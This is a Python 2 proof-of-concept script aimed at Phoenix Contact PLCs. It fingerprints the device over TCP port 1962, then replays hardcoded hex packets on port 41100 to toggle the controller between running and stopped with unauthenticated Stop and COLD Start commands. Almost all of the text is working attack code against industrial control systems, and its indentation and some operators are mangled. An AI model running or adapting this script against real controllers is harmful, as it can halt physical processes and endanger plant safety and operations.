import sys, socket, binascii, time, os, select, re
IP = ''
infoport = 1962
controlport = 41100
def send_and_recv(s,size,strdata):
data = binascii.unhexlify(strdata)
s.send(data)
ret = s.recv( 4096 )
return ret
def doAction(s,strdata):
ret = send_and_recv(s, 1000 ,strdata)
send_and_recv(s, 1000 ,packet1)
send_and_recv(s, 1000 ,packet2)
send_and_recv(s, 1000 ,packet2)
ret = send_and_recv(s, 1000 , '010002000000020003000100000000000840' )
send_and_recv(s, 1000 ,packet2)
return ret
def initMonitor(s):
send_and_recv(s, 1000 , '0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200' )
send_and_recv(s, 1000 , '0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500' )
send_and_recv(s, 1000 , '010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500' )
send_and_recv(s, 1000 , '0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200' )
send_and_recv(s, 1000 , '010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500' )
send_and_recv(s, 1000 , '0100000000002500000000000000d9ff4164652e52656d6f74696e672e53657276696365732e49466f726365536572766963653200' )
send_and_recv(s, 1000 , '010000000000240000000000000000004164652e52656d6f74696e672e53657276696365732e49466f7263655365727669636500' )
send_and_recv(s, 1000 , '0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300' )
send_and_recv(s, 1000 , '010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200' )
send_and_recv(s, 1000 , '0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e49446576696365496e666f536572766963653200' )
send_and_recv(s, 1000 , '010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446576696365496e666f5365727669636500' )
send_and_recv(s, 1000 , '0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653300' )
send_and_recv(s, 1000 , '010000000000290000000000000000004164652e52656d6f74696e672e53657276696365732e49446174614163636573735365727669636500' )
send_and_recv(s, 1000 , '0100000000002a00000000000000d4ff4164652e52656d6f74696e672e53657276696365732e4944617461416363657373536572766963653200' )
send_and_recv(s, 1000 , '0100000000002900000000000000d5ff4164652e52656d6f74696e672e53657276696365732e49427265616b706f696e745365727669636500' )
send_and_recv(s, 1000 , '0100000000002800000000000000d6ff4164652e52656d6f74696e672e53657276696365732e4943616c6c737461636b5365727669636500' )
send_and_recv(s, 1000 , '010000000000250000000000000000004164652e52656d6f74696e672e53657276696365732e494465627567536572766963653200' )
send_and_recv(s, 1000 , '0100000000002f00000000000000cfff4164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c536572766963653200' )
send_and_recv(s, 1000 , '0100000000002e0000000000000000004164652e52656d6f74696e672e53657276696365732e4950726f436f6e4f53436f6e74726f6c5365727669636500' )
send_and_recv(s, 1000 , '0100000000003000000000000000ceff4164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653300' )
send_and_recv(s, 1000 , '010000000000300000000000000000004164652e52656d6f74696e672e53657276696365732e4953696d706c6546696c65416363657373536572766963653200' )
send_and_recv(s, 1000 , '0100020000000e0003000300000000000500000012401340130011401200' )
return
def is_ipv4(ip):
match = re.match( "^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$" , ip)
if not match:
return False
quad = []
for number in match.groups():
quad.append( int (number))
if quad[ 0 ] < 1 :
return False
for number in quad:
if number > 255 or number < 0 :
return False
return True
if not len (sys.argv) = = 2 :
IP = raw_input ( "Please enter the IPv4 address of the Phoenix PLC: " )
else :
IP = sys.argv[ 1 ]
if not is_ipv4(IP):
print "Please go read RFC 791 and then use a legitimate IPv4 address."
sys.exit()
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,infoport))
print 'Initializing PLC'
print '----------------'
code = send_and_recv(s, 1000 , '0101001a005e000000000003000c494245544830314e305f4d00' ).encode( 'hex' )[ 34 : 36 ]
send_and_recv(s, 1000 , '01050016005f000008ef00' + code + '00000022000402950000' )
ret = send_and_recv(s, 1000 , '0106000e00610000881100' + code + '0400' )
print 'PLC Type = ' + ret[ 30 : 50 ]
print 'Firmware = ' + ret[ 66 : 70 ]
print 'Build = ' + ret[ 79 : 100 ]
send_and_recv(s, 1000 , '0105002e00630000000000' + code + '00000023001c02b0000c0000055b4433325d0b466c617368436865636b3101310000' )
send_and_recv(s, 1000 , '0106000e0065ffffff0f00' + code + '0400' )
send_and_recv(s, 1000 , '010500160067000008ef00' + code + '00000024000402950000' )
send_and_recv(s, 1000 , '0106000e0069ffffff0f00' + code + '0400' )
send_and_recv(s, 1000 , '0102000c006bffffff0f00' + code)
s.shutdown(socket.SHUT_RDWR)
s.close()
print 'Initialization done'
print '-------------------\r\n'
print 'Will now print the PLC state and reverse it after 3 seconds'
raw_input ( 'Press [Enter] to continue' )
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,controlport))
initMonitor(s)
packet1 = '010002000000080003000300000000000200000002400b40'
packet2 = '0100020000001c0003000300000000000c00000007000500060008001000020011000e000f000d0016401600'
i = 0
state = 'On'
running = 0
stopme = 0
startme = 0
while True :
i + = 1
time.sleep( 0.1 )
send_and_recv(s, 1000 ,packet2)
send_and_recv(s, 1000 ,packet2)
if (state = = 'Running' and stopme):
print 'Sending Stop'
doAction(s, '01000200000000000100070000000000' )
startme = stopme = 0
elif (state = = 'Stop' and startme):
print 'Sending COLD Start'
doAction(s, '010002000000020001000600000000000100' )
startme = stopme = 0
ret = send_and_recv(s, 1000 ,packet1).encode( 'hex' )
if ret[ 48 : 50 ] = = '03' :
state = 'Running'
elif ret[ 48 : 50 ] = = '07' :
state = 'Stop'
elif ret[ 48 : 50 ] = = '00' :
state = 'On'
else :
print 'State unknown, found code: ' + ret.encode( 'hex' )[ 48 : 50 ]
print 'Current PLC state: ' + state
if i = = 50 :
break
if i = = 30 :
if state = = 'Running' :
stopme = 1
else :
startme = 1
raw_input ( 'All done, press [Enter] to exit' )
|